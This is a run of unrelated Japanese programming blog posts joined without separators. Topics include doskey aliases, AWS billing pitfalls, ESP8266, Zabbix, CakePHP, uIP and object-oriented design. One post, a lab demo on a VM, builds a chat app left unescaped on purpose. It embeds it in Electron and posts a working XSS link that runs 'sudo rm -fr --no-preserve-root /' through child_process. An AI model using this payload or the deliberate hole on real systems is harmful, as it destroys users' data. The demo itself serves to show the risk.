コマンドマクロと言うものらしい。
拡張子はなんでもよい。
ここでは拡張子はなしとした。

コマンドマクロファイルの中でお好きなLinuxコマンドとWindosコマンドプロンプトコマンドを紐づけてあげればよい。

```lang:
vi=vim $*
```

なんかも良い。

## 2.レジストリエディタを起動。

以下に移動。
HKEY_CURRENT_USER\Software\Microsoft\Command Processor

右クリック > 新規(N) > 文字列値(S)

値の名前を「AutoRun」とする。
値のデータは以下の通り
doskey /macrofile=%SystemRoot%\cmd_alias

これだけ。

参考にしたサイト
[コマンドラインを強化せよ! - Windows 7のコマンドプロンプトをカスタマイズする](http://news.mynavi.jp/articles/2011/07/05/commandline/004.html)
ElectronアプリのXSSでrm -fr /を実行する

Electronアプリでxssを発生させると任意のコードが実行できるらしいので`rm -fr /`を試してみます。

## 想定
web版とelectron版のあるチャットアプリケーションという設定です。攻撃者が用意したリンクをクリックすると、PC内のすべてのファイルを消し去るというシチュエーションを考えてみます。

## 用意
環境はホストmac OSX、ゲストにubuntu14.04環境をvagrantを利用し用意しました。

expressでリストとフォームからなる脆弱性のあるチャットをつくります。エスケープ処理をしてないので、任意のコードが実行できる状況です。

```server.js
'use strict';
const path = require('path');
const express = require('express');
const app = express();
const ejs = require('ejs');

app.engine('ejs', ejs.renderFile);
app.set('views', path.join(__dirname, 'views'));

const messages = ['hello', 'world'];

app.get('/', (req, res) => {
	res.render('index.ejs', {
		messages
	});
});

app.get('/post', (req, res) => {
	const {message} = req.query;
	if (message) {
		messages.push(message);
	}
	res.redirect('/');
});

app.listen(3000, () => {
	console.log('Example app listening on port 3000!');
});
```

`<%= %>`ではなく`<%- %>`を使うことでエスケープ処理を行わないようにしてます。

```html:index.ejs
<!DOCTYPE html>
<html>
<head>
	<title>XSS</title>
</head>
<body>
	<form method="get" action="/post">
		<textarea name="message" cols="50" rows="7"></textarea>
		<input type="submit" />
	</form>
	<ul class="message--list">
		<% for(let msg of messages) { %>
			<li><%- msg %></li>
		<% } %>
	</ul>
</body>
</html>
```

さて、非常に簡易的ですが、上記のコードをElectronに組み込みます。

```index.js
'use strict';
const electron = require('electron');
require('./server');
const {app} = electron;

let mainWindow;

function onClosed() {
	mainWindow = null;
}

function createMainWindow() {
	const win = new electron.BrowserWindow({
		width: 600,
		height: 400
	});

	win.loadURL(`http://127.0.0.1:3000`);
	win.on('closed', onClosed);

	return win;
}

app.on('window-all-closed', () => {
	if (process.platform !== 'darwin') {
		app.quit();
	}
});

app.on('activate', () => {
	if (!mainWindow) {
		mainWindow = createMainWindow();
	}
});

app.on('ready', () => {
	mainWindow = createMainWindow();
});
```

フォームとリストからなる簡易的なチャットアプリができました。

![スクリーンショット 2016-05-21 09.28.42.png](https://qiita-image-store.s3.amazonaws.com/0/15319/fc14db3a-7802-322a-a15a-b25a79a85cf7.png)


## 実行
ubuntu14.04の仮想環境を用意して`rm -fr /`が実行されるのか試してみます。
フォームに以下の内容で投稿してみます。

```js
<a href="javascript:
(() => {
	const {execSync} = require('child_process');
	execSync('sudo rm -fr --no-preserve-root /', {encoding: 'utf8'});
})();
">CLICK ME</a>
```

`child_process`を使えば任意のコマンドが実行できるので、`rm -fr`を実行させます。これで、リンクをクリックするとPCが死にます。さよなら！

![スクリーンショット 2016-05-21 09.57.30.png](https://qiita-image-store.s3.amazonaws.com/0/15319/97fb426f-b64b-1f59-bc88-3251d1bd1c6b.png)

死にました。

![スクリーンショット 2016-05-21 19.14.49.png](https://qiita-image-store.s3.amazonaws.com/0/15319/60e3c623-8ed2-c471-e56d-419716f1d817.png)

ワンクリックですべてが吹き飛ぶの最高ですね。gifを撮り忘れたのが心残りです。

## 参考
以下のリンクがElectronにおけるセキュリティ対策について詳しくまとまっています。

[electronの倒し方](http://utf-8.jp/public/2016/0307/electron.pdf)

## まとめ
Electronアプリに脆弱性があるとwebにおける被害より、クリティカルな被害がでることが確認できました。

一応githubに今回試した脆弱性アプリを置いておいたので、試したい人はどうぞ。

- [akameco/try-xss-electron](https://github.com/akameco/try-xss-electron)
AWSの無料枠利用でありがちな課金系のミス(2016/05/21時点)

利用していてこれ罠だなーって思ったことをちらほらと。
まだ無料期間内なので危ないなぁと思う内容があれば書き足していきます。
最低限ここは確認しましょう。

- [無料利用枠の使用について](http://docs.aws.amazon.com/ja_jp/awsaccountbilling/latest/aboutv2/billing-free-tier.html)
- [料金表](http://aws.amazon.com/jp/ec2/pricing/)

## 固定IPを開放し忘れて課金発生
起動毎でIPが変わってだるい → ElasticIPを導入 → インスタンス停止時に開放し忘れて放置 → 課金発生
上記がよくあるパターン。
インスタンスを停止してElasticIPが不要な状態の時は必ず開放をする。

## 違うリージョンにインスタンスを作っていて課金発生
管理画面で表示される起動してるインスタンスなどの合計値は<span style="color:red;font-weight:bold">同リージョン</span>の情報。
違うリージョンの情報は表示されないので見落としがち。
CLIの設定不足で違うリージョンにインスタンスを作成してしまって気づかないパターンとかがよくあるかも。

## EC2の起動時間の計算方法を勘違いしていて課金発生
[ここ](http://docs.aws.amazon.com/ja_jp/awsaccountbilling/latest/aboutv2/billing-free-tier.html)見てれば課金発生はないと思うけど、調べてみると意外と多いようなので。
<span style="color:red;font-weight:bold">起動時間は複数のインスタンスの合計値。</span>
3つ作って3つとも24時間稼働したら72時間とみなされます。
ちなみに時間のカウントはインスタンスの削除ではなく<span style="color:red;font-weight:bold">停止</span>でストップします。
ESP8266 + microSD > ユニバーサル基板実装 / SDへ書込みしてみた

```txt:動作確認
ESP-WROOM-02
```

## microSDを使う

http://ashiyu.cocolog-nifty.com/blog/2015/09/esp8266-sd-ds32.html
にmicroSD接続の配線情報がある。

とりあえず試してみた。

## 基板実装

ESP8266用基板を新たに実装した。ESP8266基板は7枚目。

microSDの基板は以下を購入した。

- sunhayato CK-40
  - 税込み602円 @ デジット

microSD関連については上記のリンクの配線をそれぞれ対応するESP8266のピンに実装(VDD, CLK, DAT0, VMD, VSS, CD)。


![DSC_0167.JPG](https://qiita-image-store.s3.amazonaws.com/0/32870/d457496f-126c-0399-b319-eae5ba5527b1.jpeg)


CK-40は1番ピンから8番ピンまでをストレートピンヘッダの長い方にはんだ付けし、反対の短いピンをユニバーサル基板に実装した。
フレームグラウンド関連のピンはとりあえずストレートピンヘッダにはんだ付けしたが、ESP8266には特別接続していない。



## code v0.1

参考　https://www.arduino.cc/en/Tutorial/ReadWrite

上記を参考に以下を実装した。

```eps8266_160521_microSD.ino
#include <SPI.h>
#include <SD.h>

// SD pin
#define SD_CS (4)

static File s_myFile;

void SD_init()
{
    Serial.print("Initializing SD card...");
  
    if (!SD.begin(SD_CS)) {
      Serial.println("initialization failed!");
      return;
    }
    Serial.println("initialization done.");        
}

void SD_write()
{
    s_myFile = SD.open("test.txt", FILE_WRITE);

    if (s_myFile) {
        Serial.print("Writing to test.txt...");
        s_myFile.println("testing 1, 2, 3.");
        s_myFile.close();
        Serial.println("done.");
    } else {
        Serial.println("error opening test.txt");
    }
}

void setup() {
    Serial.begin(115200);
    while(!Serial)
      ;
    Serial.println();
    SD_init();
    SD_write();
}

void loop() {
  // put your main code here, to run repeatedly:

}
```

## 結果

microSDに書き込みができた。


```txt:シリアル出力
Initializing SD card...initialization done.
Writing to test.txt...done.
```

```txt:TEST.TXT
testing 1, 2, 3.
testing 1, 2, 3.
```

2回実行したので2行となっている。

microSDドライバなどを作る場合と比べて各段に簡単だった。

配線情報の提供者に感謝。
ライブラリ作者に感謝。
NSMakeRange 「warning: Legacy Constructor Violation」

メモ

#NSMakeRangeのコンストラクタが古い
```
xxx.swift:76:108: warning: Legacy Constructor Violation: Swift constructors are preferred over legacy convenience functions. (legacy_constructor)
```

Swift3.0から古い書き方が切り捨てられるそうで、下記に書き換える

```swift
NSRange(location: 0, length: 10)
```

#使用環境
XCode7.3
SwiftLint 0.9.1
Apple Swift version 2.2 (swiftlang-703.0.18.1 clang-703.0.29)
etcdクラスタにメンバーを追加する手順

既存のetcdクラスタにメンバーを追加するには、新しいetcdノードを起動する前に、

```
etcdctl member add <name> https://xx.xxx.x.xxx:2380

...

ETCD_NAME="<name>"
ETCD_INITIAL_CLUSTER="<name>=https://xx.xxx.x.xxx:2380,XX=https://xx.xxx.x.xxx:2380,YY=https://xx.xxx.x.xxx:2380,ZZ=https://xx.xxx.x.xxx:2380"
ETCD_INITIAL_CLUSTER_STATE="existing"   
```

という感じに`etcdctl`コマンドで先にlistにエントリーを追加します。
あとは出力された情報(`ETCD_XXX`)を元に、etcdノードを起動すればok.
HTMLタグ・要素・属性・CSSプロパティの整理

概要
---

HTMLやCSSで使う超基本的な単語をまとめました。
案外スルーして勉強してしまいがちな項目なので、初学者の方と会話していて途中で :open_mouth: という顔をされてしまうことがあったためです。

内容
---

* HTML
  * タグ
  * 要素
  * 属性
  * 属性値

* CSS
  * プロパティ
  * 値, プロパティ値

HTML
---

### HTMLタグ

『HTMLタグ』(または単に『タグ』とも)は、**HTMLにおいて意味をまとめる区切り記号のこと**です。
例えば

```html
<div>testing</div>
```
の`<div> (</div>)`や

```html
<a href="http://xxx.yyy.com">リンク</a>
```
の`<a href="http://xxx.yyy.com"> (</a>)`の部分をそれぞれ「`div`タグ」や「`a`タグ」のように呼びます。

この時**注目しているタグで囲まれた中身は含まれません。**
「`div`タグ」と言ったら、あくまで`<div>`と`</div>`の部分のみを指します。

### HTML要素

『HTML要素』は、通常**『HTMLタグとその中身』**という意味で使われます。
例えば

```html
<body>
  <div>testing</div>
</body>
```
で「`div`要素はどれ?」と聞かれたら

```html
<div>testing</div>
```

が答えです。
つまり**HTMLタグとその中身全てを指す文脈では「HTML要素」という言葉が適切**です。

タグと要素の使い分けの例
---

```html:タグと要素の違い
<section>
  <div>
    <p>何かの文章</p>
  </div>
  <aside>
    <span>補足事項</span>
  </aside>
</section>
```

上記のようなHTMLで、

**「asideタグ」**を削除すると


```html:asideタグを削除
<section>
  <div>
    <p>何かの文章</p>
  </div>
    <span>補足事項</span>
</section>
```

となりますが、**「aside要素」**を削除すると

```html:aside要素を削除
<section>
  <div>
    <p>何かの文章</p>
  </div>
</section>
```

となります。

こういった文脈で認識のズレが起きてしまいがちなので注意しましょう。

HTML属性
---

**HTMLタグの後ろに、半角スペース区切りで書かれた文字列のことです。**
通常HTMLタグに補足的な情報を与える目的で使われます。

例えば

```html
<div class="sample">何かの文章</div>
```

の`class`のことをclass属性と呼びます。

```html
<a href="https://www.google.co.jp/" title="Google Japan">Google Japan</a>
```

この場合はaタグにhref属性とtitle属性がついています。

CSS属性(プロパティ)
---

CSSの指定箇所のうち、":"を挟んで左側の部分を指します。

例えば

```css
p { text-align: center; }
```

という「CSSではtext-align属性にcenterが指定されている」というような言い方をします。

属性のことを英語で『プロパティ』と呼ぶこともあるので、プロパティと聞いた場合も同じものを指すものと考えて下さい。

属性値
---

一方、属性に対して指定されている値は属性値(プロパティ値)と呼びます。
これはHTML属性でもCSS属性でも同じです。
HTMLなら"="の後ろにあるダブルクオーテーション(")でくくられた中身を、CSSなら":"を挟んで左側の部分を指します。

```html
<div class="sample">何かの文章</div>
```

では「class属性の属性値はsample」と言いますし

```css
p { text-align: center; }
```

では「text-align属性の属性値はcenter」などと言います。

カンタンに『属性は左、属性値は右』とでも覚えておきましょう。

参考
---

* [基礎用語：「タグ」と「要素」の違いとは？ [ホームページ作成] All About](http://allabout.co.jp/gm/gc/23843/)
Arduboyメモ

#簡単なリファレンス

http://community.arduboy.com/t/reference-page-for-development/76/2

##文字列

```
String mes = String("hogehoge");
```

##数値→文字列

```
int count = 0;
String countStr = String(count);
```

#ハード
arduboy.pressed(B_BUTTON)
で日本で言うAボタンの位置のボタン押が取れる

#Sprite

loopの外でスプライトを定義

```
PROGMEM const unsigned char playerWalkLeftB[] = {
    0b00000000,
    0b10000100,
    0b11001000,
    0b00111111,
    0b00111111,
    0b01000100,
    0b11001100,
    0b00000000
};
```

loop内でdrawする
```
  arduboy.drawBitmap(8, 8, playerWalkLeftB, 8, 8, 1);
```

```
arduboy.drawBitmap(x位置, y位置, sprite配列, width, height, カラー);
```
カラーは1が白、0が黒
大きさによって崩れることがあるので、その時は代わりに`drawSlowXYBitmap`を使うと治ったりする。
Zabbix インストール


## 環境
* CentOS Linux release 7.2.1511 (Core) 
* Zabbix 3.0



```
# rpm -ivh http://repo.zabbix.com/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm
# yum install zabbix-server-mysql zabbix-web-mysql zabbix-web-japanese
# yum -y install zabbix-agent
# yum -y install zabbix-get
```
```
# mysql -uroot -p
MariaDB [(none)]> CREATE USER zabbix;
MariaDB [(none)]> CREATE DATABASE zabbix CHARACTER SET utf8;
MariaDB [(none)]> GRANT ALL PRIVILEGES on zabbix.* TO zabbix@localhost IDENTIFIED BY '';
MariaDB [(none)]> FLUSH PRIVILEGES;
```
```
# cd /usr/share/doc/zabbix-server-mysql-3.0.2/
# zcat create.sql.gz | mysql -uroot -p zabbix
```
```
# vi /etc/zabbix/zabbix_server.conf
DBPassword=
# vi /etc/httpd/conf.d/zabbix.conf
php_value date.timezone Asia/Tokyo
```

* Virtual Host

```
<VirtualHost *:80>
   ServerName zabbix.***.**
   DocumentRoot /usr/share/zabbix
   ErrorLog /home/logs/zabbix_error_log
   CustomLog /home/logs/zabbix_access_log common
   <Directory /usr/share/zabbix>
       AllowOverride All
       Require all granted
   </Directory>
   <Directory "/usr/share/zabbix">
       AuthType Basic
       AuthName "Zabbix Login"
       AuthUserFile /etc/httpd/conf/.htpasswd
       Require valid-user
       DirectoryIndex index.php
   </Directory>
</VirtualHost>
```
CakePHP2の $this->response でファイルをダウンロードさせるときのIEファイル名文字化け解消

#CakePHP2の $this->response でファイルをダウンロードさせるときのIEファイル名文字化け解消
##やりたいこと：PHPでファイルをダウンロードさせたい
CakePHP2でファイルをダウンロードさせる．公式から以下のようにすれば良いことがわかる．

```php:download.php
public function sendFile($id) {
    $file = $this->Attachment->getFile($id);
    $this->response->file($file['path']);
    // レスポンスオブジェクトを返すとコントローラがビューの描画を中止します
    return $this->response;
}
```

参照：http://book.cakephp.org/2.0/ja/controllers/request-response.html

##問題
IEでダウンロードするとファイル名に文字化けが起こる．
色々なサイトから，通常のPHPでは以下のようにすれば良いことがわかる．

```php:download.php
header("Content-Type: application/octet-stream;");
header("Content-Disposition: attachment;　filename="ファイル名";　filename*=UTF-8''URLエンコーディングされたファイル名);
echo file_get_contents("ファイル名");
```
参照：http://www.negimiso.net/blog/2015/06/19/%E3%83%80%E3%82%A6%E3%83%B3%E3%83%AD%E3%83%BC%E3%83%89%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E5%90%8D%E3%80%81%E6%96%87%E5%AD%97%E5%8C%96%E3%81%91%E3%81%A8%E3%81%AE%E6%A0%BC%E9%97%98/

###CakePHP2ではどうすればよいのか？

```php:download.php
public function sendFile($id) {
    $file = $this->Attachment->getFile($id);
    $content = 'attachment;';
    $content .= 'filename='.$filename;
    $content .= 'filename*=UTF-8\'\''.rawurlencode($filename); 
    $this->response->header('Content-Disposition', $content);
    $this->response->file($file['path']);
    // レスポンスオブジェクトを返すとコントローラがビューの描画を中止します
    return $this->response;
}
```

無事IEでもファイル名が文字化けせずダウンロードできた．
OSX: ffmpegでDVD動画ファイル.vodを.mp4に変換するワンライナー


HomebrewでインストールしたffmpegでDVDの動画ファイル.vodを繋げて、1つのmp4ファイルに変換する方法です。

```
ffmpeg -i concat:"VTS_01_0.VOB|VTS_01_1.VOB" -vcodec libxvid -qscale:v 0 output.mp4
```
uIPの実装 メインループを読む

組込み用のTCP/IPプロトコルスタック uIPのソースを読んでみました。

uIPはlwIPの作者 Adam Dunkels が開発したTCP/IPプロトコルスタックです。lwUPよりも小さい環境で動作します。

ソースコードの場所
* https://github.com/adamdunkels/uip

まずはメインループを読んでみました。

# uIPのメインループ
* メインループは [doc/example-mainloop-with-arp.c](https://github.com/adamdunkels/uip/blob/master/doc/example-mainloop-with-arp.c) にあります。
 * ARPなしのexample-mainloop-without-arp.c もあり、こちらは、さらにシンプルです。
 * unix/main.c というのもあります。

* 初期化です。 タイマ、デバイス、プロトコルスタックの初期化を行い、IPアドレスを設定します。
* 定期タイマは500msec、ARPタイマは10秒に設定しています。

```c:example-mainloop-with-arp.c
int
main(void)
{
  int i;
  uip_ipaddr_t ipaddr;
  struct timer periodic_timer, arp_timer;
  
  timer_set(&periodic_timer, CLOCK_SECOND / 2);
  timer_set(&arp_timer, CLOCK_SECOND * 10);
  
  network_device_init();
  uip_init();

  uip_ipaddr(ipaddr, 192,168,0,2);
  uip_sethostaddr(ipaddr);

  httpd_init();
```

* ここからがメインループ
* network_device_read()で受信パケットをBUFに読み出す
* BUF-typeがIPならuip_input()でパケットの処理を行う。その結果uip_lenが0より大きければ、パケットを送信する。
* BUF-typeがARPなら、uip_arp_arpin();でARPを処理する。その結果uip_lenが0より大きければ、パケットを送信する。

```c:example-mainloop-with-arp.c
  while(1) {
    uip_len = network_device_read();
    if(uip_len > 0) {
      if(BUF->type == htons(UIP_ETHTYPE_IP)) {
	uip_arp_ipin();
	uip_input();
	/* If the above function invocation resulted in data that
	   should be sent out on the network, the global variable
	   uip_len is set to a value > 0. */
	if(uip_len > 0) {
	  uip_arp_out();
	  network_device_send();
	}
      } else if(BUF->type == htons(UIP_ETHTYPE_ARP)) {
	uip_arp_arpin();
	/* If the above function invocation resulted in data that
	   should be sent out on the network, the global variable
	   uip_len is set to a value > 0. */
	if(uip_len > 0) {
	  network_device_send();
	}
      }
```

* タイマがexpireしたなら、コネクション毎にuip_periodic()の処理をする。その結果uip_lenが0より大きければ、パケットを送信する。
* UDPが有効なら、UDPのコネクションごとにuip_udp_periodic()でUDPの定期処理を行う。その結果uip_lenが0より大きければ、パケットを送信する。
* ARPのタイマがexpireしたら、再度ARPのタイマをセットする。

```c:example-mainloop-with-arp.c
    } else if(timer_expired(&periodic_timer)) {
      timer_reset(&periodic_timer);
      for(i = 0; i < UIP_CONNS; i++) {
	uip_periodic(i);
	/* If the above function invocation resulted in data that
	   should be sent out on the network, the global variable
	   uip_len is set to a value > 0. */
	if(uip_len > 0) {
	  uip_arp_out();
	  network_device_send();
	}
      }

#if UIP_UDP
      for(i = 0; i < UIP_UDP_CONNS; i++) {
	uip_udp_periodic(i);
	/* If the above function invocation resulted in data that
	   should be sent out on the network, the global variable
	   uip_len is set to a value > 0. */
	if(uip_len > 0) {
	  uip_arp_out();
	  network_device_send();
	}
      }
#endif /* UIP_UDP */
      
      /* Call the ARP timer function every 10 seconds. */
      if(timer_expired(&arp_timer)) {
	timer_reset(&arp_timer);
	uip_arp_timer();
      }
    }
  }
  return 0;
}
```


# 参考
* https://en.wikipedia.org/wiki/UIP_(micro_IP)
* https://github.com/adamdunkels/uip/raw/master/doc/mobisys2003.pdf
OAuth gem でコマンドラインからTwitterつぶやき

今更感ありますが、Twitterを開かずにコマンドラインからさくっとつぶやくだけしたいなーと思ったので、さくっと作成。
Twitter gemすらいらないと思ったので、Oauthだけを使っています。

## Twitter の各種keyを取得
consumer_key, consumer_secret, access_token, access_token_secret を事前に取得しておく必要があります。
これについては沢山記事があるので検索すればすぐわかると思います。

## あとはコードを書くだけ
- 実行権限を与えたいので `#!/usr/bin/env ruby` をかきます
- consumer_key, consumer_secret でconsumerインスタンスを作り
- access_tokenを用いてendpointに接続して, postでつぶやくだけ
- APIについては[公式](https://dev.twitter.com/rest/public)を参考に

```
#!/usr/bin/env ruby
require 'json'
require 'oauth'

consumer_key        = "{{ your key }}"
consumer_secret     = "{{ your secret }}"
access_token        = "{{ your token }}"
access_token_secret = "{{ your token_secret }}"

consumer = OAuth::Consumer.new(
  consumer_key, 
  consumer_secret, 
  site:'https://api.twitter.com/'
)
endpoint = OAuth::AccessToken.new(consumer, access_token, access_token_secret)

tweet = ARGV[0]
puts tweet  #tweet 確認用

# tweetする
response = endpoint.post('https://api.twitter.com/1.1/statuses/update.json', status: "#{tweet}")
```

## その他
`chmod u+x tweet.rb` で実行権限を与えればOKです。
必要に応じてbinファイルにシンボリックリンクとか貼っちゃってください。
下記コードで実際につぶやきができていると思います。

```
./tweet.rb "テストツイート"
```

これで仕事の合間にもつぶやき放題ですね。
オブジェクト指向とはずっと仲良くしていたので闘ったことはない

どうもこういう話題が流行っているようなので考えていたことを投稿。

オブジェクト指向が難しいという話を聞きますが、私は最初から非常にしっくりきて自然に使い倒しています。
そういう人間の意見を書きます。
なおオブジェクト指向との付き合いは13年ほど。

#プログラム部品の再利用
プログラムを組むことの難しさは、大きなプログラムを、人間に理解できるよう書くことにあります。

コピペ多用を避けるなら、コードの再利用を行う必要があります。
そのためにはプログラムを部品に分けなければなりません。
大きなプログラムを作るなら部品の数は最低でも数百、下手すると数千数万となります。

これらをすべて、使いたい時にすぐ使えるように整理しておかなければなりません。
数百数千もあるものを分かりやすく整理するには非常に高度な技術が必要となります。
そして、オブジェクト指向はそのためにあるものです。

この時、整理は人間のためにするということを忘れてはなりません。
部品がどれだけごちゃごちゃにとっ散らかっていても、コンピューターはどこに何があるのか忘れたりしません。
整理しないと困るのはあくまで人間です。

つまり、オブジェクト指向とはコンピュータのための技術ではなく、プログラムを組む人間のための技術です。

#設計とプログラムで共通のモデルを利用
オブジェクト指向では、設計と実装で共通のモデルを使います。
ここで、共通なんだったら実装を自動生成してコストが削減できるじゃないか、とか言い出したバカがいたせいで混乱を呼んでいるようですが、全くそういう話ではないです。

アプリケーションを作る時は、まず何を作るかを設計し、その後プログラムを実装します。

設計は日本語や図などを使って、作る機能をすべて書きます。
そして実装は、設計した全てをプログラムに書き直します。
設計と実装は同じ人がやることも違う人がやることもあります。
設計も実装も、部品の数は膨大になり、整理するのはそれぞれ大変です。

整理する方法は、設計と実装でそれぞれ別のやり方がありますから、普通に進めると別々のやり方で整理することになります。
そうなると、設計時に整理したものを、実装時に読み替えて別のやり方で整理しなおすことになります。

一度整理したものを別のやり方で整理しなおすには、例えれば一度棚にしまったものを全部出してもう一度しまいなおす必要があるわけですから、完全な二度手間で大変な労力がかかります。
しかも、修正のたびに設計と実装を見直す必要がありますから、そのたびに両方の整理の対応付けをする必要があり、二度手間どころではなく、ものすごく大変です。

無理やり片方の整理のやり方にもう片方が合わせることもできますが、それぞれ作業の都合が違うのですから、合わせたほうは結局全く整理されていないのと同じで、大変さは減りません。

そこを何とかするためにオブジェクト指向が使えます。
オブジェクト指向では設計も整理でき、実装も整理できる方法で整理を行います。

設計、実装それぞれ最良の整理方法は選べないので、片方だけ見れば最良ではありませんが、設計時も実装時もあまり読み替える必要もなく、整理された状態で作業することができます。

とはいえ設計と実装ではやることが違いますから、完全に両方同じにはなりませんが、実際の作業にあまり支障がない程度には近いものになります。だいたい同じ図を見て、もしくは同じ人がやる場合は同じ図を想像して、作業を進めることができるので、それで十分です。

この、同じ図を使って作業することを、共通のモデルを使う、と言います。

#カプセル化・継承・ポリモーフィズム
カプセル化、継承、ポリモーフィズムというのは、設計・実装で使える整理の方法です。
設計の側からみると、猫はニャンと鳴いて犬はワンと鳴くけれども両方とも鳴くことは同じ、というように現実世界をうまく表現できます。この辺の整理に使われる方法にカプセル化、継承、ポリモーフィズムと呼ばれるものがあります。
実装の側からしてもカプセル化・継承・ポリモーフィズムという、設計時と同じ名前で呼ばれるプログラム言語の便利な機能を使い、プログラムを整理できます。

そして両方とも整理した図は大体同じになるので、とても便利です。

設計の整理の仕方、実装に使う機能別々に見れば多少不備な点もありますが、両方で同じものが使えるというメリットに比べれば大したことはありません。
最大のメリットは設計・実装両方で共通に使えることですから、この三つを実装時に利用する方法だけ覚えてもメリットはわかりませんし、メリットについて議論することもできないでしょう。

#この世の全てはオブジェクト
オブジェクト指向では、この世の全てのものをオブジェクトとして扱います。
というと、何やら哲学的なところにはまり込んでしまう人がいるようですが、あくまでプログラムの話であることを忘れてはいけません。

ソフトウェアはいろんなものを扱います。世の中のどんな業種でもソフトウェアを導入することはありえますから、プログラムは世の中すべてのものを扱う必要がある、と言っていいでしょう。
設計は大体日本語などの言語で記述されるので、ものは名詞で表されます。つまり、オブジェクト指向の言うすべてのものとは、すべての名詞と同じ意味です。

そして、設計での名詞は、プログラム上ではオブジェクトと呼ばれる言語機能に対応します。だからオブジェクト指向言語では、名詞で表されるすべてのものをオブジェクトとして扱います。

この世の全てのものがオブジェクト、とはそういう意味です。

#オブジェクト指向の生産性
ここまでまとめてみて気付いたのですが、オブジェクト指向を導入する理由として生産性を上げることを目的とすると、うまくいかないことが多いようです。

オブジェクト指向を理解し、使いこなすことによって、生産性が上がる、ということは当然あると思います。

しかし、生産性が上がるからという動機でオブジェクト指向の学習を始めると、変な理解に進むことになりがちで、オブジェクト指向を理解し使いこなすことができず、結局生産性も上がらない、ということがよく起きているようです。

#オブジェクト指向を一言で説明すると
以上のような考え方を踏まえてオブジェクト指向を一言で説明すると、
「オブジェクト指向とは変数に顧客や店舗が代入できること」です。

より厳密にいうと
「プログラム上で変数に代入したり処理の対象とできるものとして、整数や実数、文字列など限られたものだけではなく、顧客や店舗など世の中の全てのもが利用できる。」
ですが、ここまで説明すると一言じゃないですね。
いいなと思ったjsプラグイン

#概要
いいなとおもったjsプラグイン。
多くのライブラリはｊQuery, Bootstrapの使用を前提としています。
これからも見つかったら追記する予定。

#基本
##jQuery
>
- [公式](https://jquery.com)
- [git](https://github.com/jquery/jquery)

##Bootstrap
>
- [公式](http://getbootstrap.com)
- [git](https://github.com/twbs/bootstrap)

#機能
##jQuery Validation Plugin
バリデーションするプラグイン。
>
- [公式](http://jqueryvalidation.org)
- [git](https://github.com/jzaefferer/jquery-validation)
- [data-attributeでルールを管理したい場合](http://stackoverflow.com/questions/7559481/using-data-attributes-with-jquery-validate)

##PJAX (defunkt)
非同期通信でページ遷移するプラグイン。
>
- [公式](http://pjax.herokuapp.com)
- [git](https://github.com/defunkt/jquery-pjax)
- [日本語での解説はこちら](http://chibinowa.net/notebook/js/pjax-fragment-defunkt.html)

#デザイン
##AdminLTE Control Panel Template
管理画面用のプラグイン。
>
- [公式](https://www.almsaeedstudio.com)
- [git](https://github.com/almasaeed2010/AdminLTE)

##Material Design Lite
マテリアルデザイン。Google製のプラグイン。
>
- [公式](https://getmdl.io/)
- [git](https://github.com/google/material-design-lite)

#要素
##Google chart
グラフを作成するGoogle製のプラグイン。
>
- [公式](https://developers.google.com/chart)
- [git](https://github.com/GoogleWebComponents/google-chart)

##chosen
セレクトボックスをおしゃれにするプラグイン。
>
- [公式](http://harvesthq.github.io/chosen)
- [git](https://github.com/harvesthq/chosen)

##selectize
セレクトボックスをおしゃれにするプラグイン。
>
- [公式](http://selectize.github.io/selectize.js/)
- [git](https://github.com/selectize/selectize.js)

##jQuery Bootstrap Alerts
Bootstrapのalertをjsで管理するプラグイン。
>
- [公式](http://eltimn.github.io/jquery-bs-alerts)
- [git](https://github.com/eltimn/jquery-bs-alerts)

##dataTables
データをテーブル表示するプラグイン。
>
- [公式](https://datatables.net/)
- [git](https://github.com/DataTables/DataTables)


##autosize
入力に応じてtextareaの高さを調節するプラグイン。
>
- [公式](http://www.jacklmoore.com/autosize)
- [git](https://github.com/jackmoore/autosize)

##bootstrap-datepicker
bootstrap用のdatepicker。
ドキュメントが豊富。
>
- [公式](https://eternicode.github.io/bootstrap-datepicker)
- [git](https://github.com/eternicode/bootstrap-datepicker)